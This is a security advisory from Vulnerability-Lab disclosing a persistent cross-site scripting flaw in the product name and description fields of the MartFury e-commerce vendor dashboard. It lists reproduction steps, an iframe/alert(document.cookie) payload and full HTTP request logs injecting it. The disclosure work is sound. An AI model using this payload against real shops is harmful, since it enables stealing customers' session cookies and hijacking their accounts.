MartFury Marketplace Cross Site Scripting

`Document Title:  
===============  
MartFury Marketplace - Cross Site Scripting Vulnerability  
  
  
References (Source):  
====================  
https://www.vulnerability-lab.com/get_content.php?id=2282  
  
  
Release Date:  
=============  
2022-02-17  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
2282  
  
  
Common Vulnerability Scoring System:  
====================================  
5.5  
  
  
Vulnerability Class:  
====================  
Cross Site Scripting - Persistent  
  
  
Current Estimated Price:  
========================  
500€ - 1.000€  
  
  
Product & Service Introduction:  
===============================  
Martfury is a clean & modern Laravel Ecommerce System for multipurpose online stores. With design clean and trendy, Martfury will make your  
online store look more impressive and attractive to viewers. Help increase the high conversion rate to buy products with your customers  
so quickly. Designed on the grid system, your site will look sharp on all screens. Mobile optimized design based on user experience, brings  
the best shopping experience for your customers.  
  
(Copy of the Homepage:https://codecanyon.net/item/martfury-multipurpose-laravel-ecommerce-system/29925223 )  
  
  
Abstract Advisory Information:  
==============================  
The vulnerability laboratory core research team discovered a persistent cross site scripting web vulnerability in the official MartFuryonline service web-application.  
  
  
Affected Product(s):  
====================  
Botble  
Product: MartFury - Online Service (Web-Application)  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2021-08-22: Researcher Notification & Coordination (Security Researcher)  
2021-08-23: Vendor Notification (Security Department)  
2021-**-**: Vendor Response/Feedback (Security Department)  
2021-**-**: Vendor Fix/Patch (Service Developer Team)  
2021-**-**: Security Acknowledgements (Security Department)  
2022-02-17: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
Medium  
  
  
Authentication Type:  
====================  
Restricted Authentication (User Privileges)  
  
  
User Interaction:  
=================  
Low User Interaction  
  
  
Disclosure Type:  
================  
Responsible Disclosure  
  
  
Technical Details & Description:  
================================  
A persistent cross site scripting web vulnerability has been discovered in the official MartFury online service web-application.  
The web vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise  
browser to web-application requests from the application-side.  
  
The vulnerability is located in the products description and name parameters of the create function in the products module (martfury dashboard).  
Remote attackers with privileged account access (user to vendor by product) are able to inject own malicious products. After a product is saved  
any customer that buys the article executes the malicious inject payload on events like favorite & compare. On the request a confirm information  
is displayed on the left top of the application that executes the script code with persistent attack vector. The request method to inject is post  
and the attack vector is persistent located on the application-side.  
  
Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects to malicious  
source and persistent manipulation of affected application modules.  
  
Request Method(s):  
[+] POST  
  
Vulnerable Module(s):  
[+] Status Notifcation  
  
Vulnerable Input(s):  
[+] Name  
[+] Description  
  
Vulnerable Parameter(s):  
[+] name  
[+] description  
  
Affected Module(s):  
[+] Compare  
[+] Favorite  
  
  
Proof of Concept (PoC):  
=======================  
The persistent input validation web vulnerability can be exploited by remote attackers with low privileged user account and low user interaction.  
For security demonstration or to reproduce the persistent cross site web vulnerability follow the provided information and steps below to continue.  
  
  
Manual steps to reproduce the vulnerability ...  
1. Register an account  
2. Move to vendor dashboard  
3. Register an account  
4. Go to products and create a product  
5. Inject payload to name and description  
6. Save by submit via post method request  
7. Preview the public product  
8. Click compare or the favorites button  
9. Status displays and executes the malicious script code with persistent attack vector  
10. Successful reproduce of the persistent web vulnerability!  
  
  
Exploitation: Payload  
<iframe src=evil.source onload=alert(document.cookie)>  
  
  
--- PoC Session Logs (POST) (Inject) [Name & Description] ---  
https://martfury.localhost:8080/vendor/products/create  
Host: martfury.localhost:8080  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Content-Type: multipart/form-data; boundary=---------------------------312580254331809165411596595054  
Content-Length: 4034  
Origin:https://martfury.localhost:8080  
Connection: keep-alive  
Referer:https://martfury.localhost:8080/vendor/products/create  
Cookie: botble_session=atJpdiI6ImhVNTAySnlXSWVJM01TbVlaenNZMHc9PSIsInZhbHVlIukefh843rz39zf3hf8f3eDBUa1lsSnlPNlpnNDBlY2RjZGRjZDIyIiwidGFnIjoiIn0%3D;  
botble_cookie_newsletter=1; cookie_for_consent=1; __stripe_sid=0c82eaf7-75c0-41d5-8fa9-ebdfe27637d7fd80f6; __stripe_mid=ce8c5fe9-89ae-44e2-bfc9-9deca5e9b2235ff290  
_token=2uQCgRQYHVxjDaqc6dlyPHbaxG0IO0rcDIJgmQRf&name=>"<iframe src=evil.source onload=alert(document.cookie)>&slug=iframe-srca-onloadalertdocumentcookie-1&slug_id=0&model=  
BotbleEcommerceModelsProduct&description=>"<iframe src=evil.source onload=aler(document.cookie)>&content=&images=&sale_type=0&sku=&price=0&sale_price=  
&start_date=&end_date=&with_storehouse_management=0&quantity=0&allow_checkout_when_out_of_stock=0&stock_status=in_stock&weight=0&length=0&wide=0&height=0  
&is_added_attributes=0&added_attributes[1]=1&related_products=&cross_sale_products=&seo_meta[seo_title]=&seo_meta[seo_description]=&submit=save&brand_id=0&tax_id=0&tag=  
-  
POST: HTTP/3.0 302 Found  
content-type: text/html; charset=UTF-8  
location:https://martfury.localhost:8080/vendor/products  
set-cookie: botble_session=atJpdiI6ImhVNTAySnlXSWVJM01TbVlaenNZMHc9PSIsInZhbHVlIukefh843rz39zf3hf8f3eDBUa1lsSnlPNlpnNDBlY2RjZGRjZDIyIiwidGFnIjoiIn0%3D;  
  
  
--- PoC Session Logs (GET) (Execution) [Favorite & Compare] ---  
https://martfury.localhost:8080/stores/evil.source  
Host: martfury.localhost:8080  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Connection: keep-alive  
Referer:https://martfury.localhost:8080/stores/iframe-srca-onloadalertdocumentcookie  
Cookie: botble_session=atJpdiI6ImhVNTAySnlXSWVJM01TbVlaenNZMHc9PSIsInZhbHVlIukefh843rz39zf3hf8f3eDBUa1lsSnlPNlpnNDBlY2RjZGRjZDIyIiwidGFnIjoiIn0%3D;  
botble_cookie_newsletter=1; cookie_for_consent=1; __stripe_sid=0c82eaf7-75c0-41d5-8fa9-ebdfe27637d7fd80f6; __stripe_mid=ce8c5fe9-89ae-44e2-bfc9-9deca5e9b2235ff290  
-  
GET: HTTP/3.0 200 OK  
content-type: text/html; charset=UTF-8  
vary: Accept-Encoding  
cache-control: no-cache, private  
set-cookie: botble_session=atJpdiI6ImhVNTAySnlXSWVJM01TbVlaenNZMHc9PSIsInZhbHVlIukefh843rz39zf3hf8f3eDBUa1lsSnlPNlpnNDBlY2RjZGRjZDIyIiwidGFnIjoiIn0%3D;  
  
  
Reference(s):  
https://martfury.localhost:8080/stores/  
https://martfury.localhost:8080/vendor/  
https://martfury.localhost:8080/vendor/products/  
https://martfury.localhost:8080/vendor/products/create  
  
  
Security Risk:  
==============  
The security risk of the persistent cross site scripting vulnerability in the online service web-application is estimated as medium.  
  
  
Credits & Authors:  
==================  
Vulnerability-Lab [Research Team] -https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab  
  
  
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=========================  
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